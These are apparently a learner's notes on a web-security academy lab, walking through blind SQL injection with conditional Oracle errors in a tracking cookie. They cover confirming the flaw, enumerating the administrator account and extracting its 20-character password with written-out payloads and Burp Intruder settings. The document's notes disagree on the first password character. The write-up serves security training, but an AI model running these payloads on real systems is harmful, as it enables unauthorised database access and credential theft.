

Lab-12

Lab #12 Blind SQL injection with conditional errors

End Goal:

1. output the admin password
2. login as the admin user

Analysis:

▼ Step1: Prove that parameter is vulnerable

1. for ' we are getting an error
2. But for '' we are not having an error
3. '|| (select '') ||' for this we are getting an error it is because it is not an mysql rather it is an oracle sql
4. '|| (select '' from dual) ||' this is giving us 200 ok it means this is an oracle sql **it is also a vulnerability**
5. '|| (select '' from dualdasfasd) ||' a table that doesn't exist is giving us an error it means this webserver have a sqli vulnerability

▼ Step2: Confirm that the users table exists in the database

1. '|| (select '' from users) ||' it means it will input empty users in every row of the user table
2. '|| (select '' from users where rownum =1) ||' it is giving 200 ok it means there is a table called users → users table exists

▼ Step3: Confirm that the administrator user exists in the users database

1. '|| (select '' from users where username = 'administrator') ||' if we use it it will give us 200ok but if we change the admin name to an invalid user it will also give us ok
2. For doing a smarter job we have to use CASE EXPRESSION in ORACLE it similar to the if else statement
3. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) ||' this is giving us error
4. (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) : This is a subquery that uses the CASE statement. The condition (1=1) is always true, so the THEN part is executed. In the THEN part, there is an attempt to perform a division by zero with 1/0. However, Oracle raises an exception when attempting to divide by zero. To handle this, the TO_CHAR function is used to convert the result of the division (which is an error) to a character. This will result in an Oracle error being converted to a string.
5. TO_CHAR is a function that converts number to a string we are giving it 1/0 which will give us error if the query not work
6. we are saying that when 1=1 give us an error
7. but if we use 1=0 it means it will go to the else statement and give us 200 ok
8. '|| (select CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) ||' this is giving us 200ok
8. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') ||'
 - In sql from clause runs before select clause so the server will check if the administrator is in the users table or not then if it is there it will perform the select statement
 - when it will go to the select clause if there is 1=1 it will give use error
 - but if the users table doesn't have the administrator it will throw us an 200 ok

9. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') ||' → is giving us an error so we can say that administrator exists
10. to confirm this we can check with a username that is not exist '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='dfsgsfd') ||' → for this it is giving us 200ok

▼ Step4: Determine Length of Password

1. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>1) ||' → it is giving us error it means our password is bigger than 1 char
2. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>19) ||' → it is giving us error
3. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>20) ||' → but this is giving us 200 ok it means the password is in between 1-20 and its exactly 20 chars
4. we can also try burp intruder here

▼ Step5: Output the administrator password

1. '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and substr(password,1,1)='a') ||' → it is giving us 200ok it means that the first letter of the password is not a
2. for 2nd char we can do '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and substr(password,2,1)='a') ||'

3. for 3rd '|| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and substr(password,3,1)='a') ||'

Let's use intruder

The screenshot shows the Burp Suite Intruder tool interface. At the top, the title bar reads "2. Intruder attack of https://0ab900b9045d2...". Below the title bar are tabs for "Results", "Positions", "Payloads", "Resource pool", and "Settings". The "Positions" tab is selected. Under the heading "Choose an attack type", the "Attack type" is set to "Sniper". Below this, under "Payload positions", there is a description: "Configure the positions where payloads will be inserted, they can be added into the target as well as the base request." The "Target" field is set to "https://0ab900b9045d2d34807" and the checkbox "Update Host header to match target" is checked. The main area displays a list of request positions: 1 GET / HTTP/2, 2 Host: 0ab900b9045d2d34807803c400fe008f.web-security-academy.net, 3 Cookie: TrackingId=KDNyUyTUkyvGx9Yo' || (select CASE WHEN (1%3d1) + THEN+TO_CHAR (1/0) +ELSE+' '+END+FROM+users+where +username%3d'administrator' ++and+substr (passwo rd,1,1)%3d'\$a\$') +||'; session=mzob9acmdAREhP2hTR9cVpQR1rzG1NKE, and 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101. On the right side of the interface are buttons for "Add §", "Clear §", "Auto §", and "Refresh". At the bottom, there is a search bar with "1 highlight" and a "Clear" button. The status bar at the very bottom indicates "1 payload position" and "Length: 782".

2. Intruder attack of https://0ab900b9045d2... Attack Save Columns

Results Positions **Payloads** Resource pool Settings

Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 36
 Payload type: Brute forcer Request count: 36

Payload settings [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set: abcdefghijklmnopqrstuvwxyz0123456789
 Min length: 1
 Max length: 1

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Edit Remove

Enabled	Rule
<input type="checkbox"/>	

11	k	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
12	l	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
13	m	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
14	n	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
15	o	500	<input type="checkbox"/>	<input type="checkbox"/>	2353
16	p	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
17	q	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
18	r	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
19	s	200	<input type="checkbox"/>	<input type="checkbox"/>	11555
20	t	200	<input type="checkbox"/>	<input type="checkbox"/>	11555

1. we got an 500 response where the letter is 'o' so we can say that the first letter of the password is 'o'
2. for the numbers we are using sniper and

ResultsPositionsPayloadsResource poolSettings

?

Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type Positions tab. Various payload types are available for each payload set, and each payload type can in different ways.

Payload set:1

Payload count: 20

Payload type:Numbers

Request count: 720

?

Payload settings [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type:

☒ Sequential☐ Random

From:1

To:20

Step:1

How many:

Number format

Base:

☒ Decimal☐ Hex

Min integer digits:0

Max integer digits:2

3. for alphanumeric we are using cluster bomb

Lab-12

6

Choose an attack type

Attack type: Cluster bomb

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://0ab900b9045d2d34807

☒ Update Host header to match target

1 GET / HTTP/2

2 Host: 0ab900b9045d2d34807803c400fe008f.web-security-academy.net

3 Cookie: TrackingId=KDNyUyTUkyvGx9Yo' || (select+CASE+WHEN+ (1%3d1)+ THEN+TO_CHAR (1/0)+ELSE+''+END+FROM+users+where +username%3d'administrator'+and+substr (password, \$1\$, 1)%3d'\$a\$')+||'; session=mzob9acmdARehP2hTR9cVpQRlrzG1NKE

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101

?

⚙

⬅

➡

Search

2 highlights

Clear

Add \$

Clear \$

Auto \$

Refresh

Lab-12

7

?
Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 2
Payload count: 36

Payload type: Brute forcer
Request count: 720

?
Payload settings [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set: abcdefghijklmnopqrstuvwxyz0123456789

Min length: 1

Max length: 1

?
Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add
Edit
Remove
Up
Down

.. Rule

results might take some time

1st → 1

2nd → 1

3rd → k

4th → f

5th → x

6th → k

7th → 7

8th → s

9th → 2

10th → i

11th → t

12th → 7

13th → q

14th → l

15th → y

16th → r

17th → n

18th → s

19th → v

20th → 6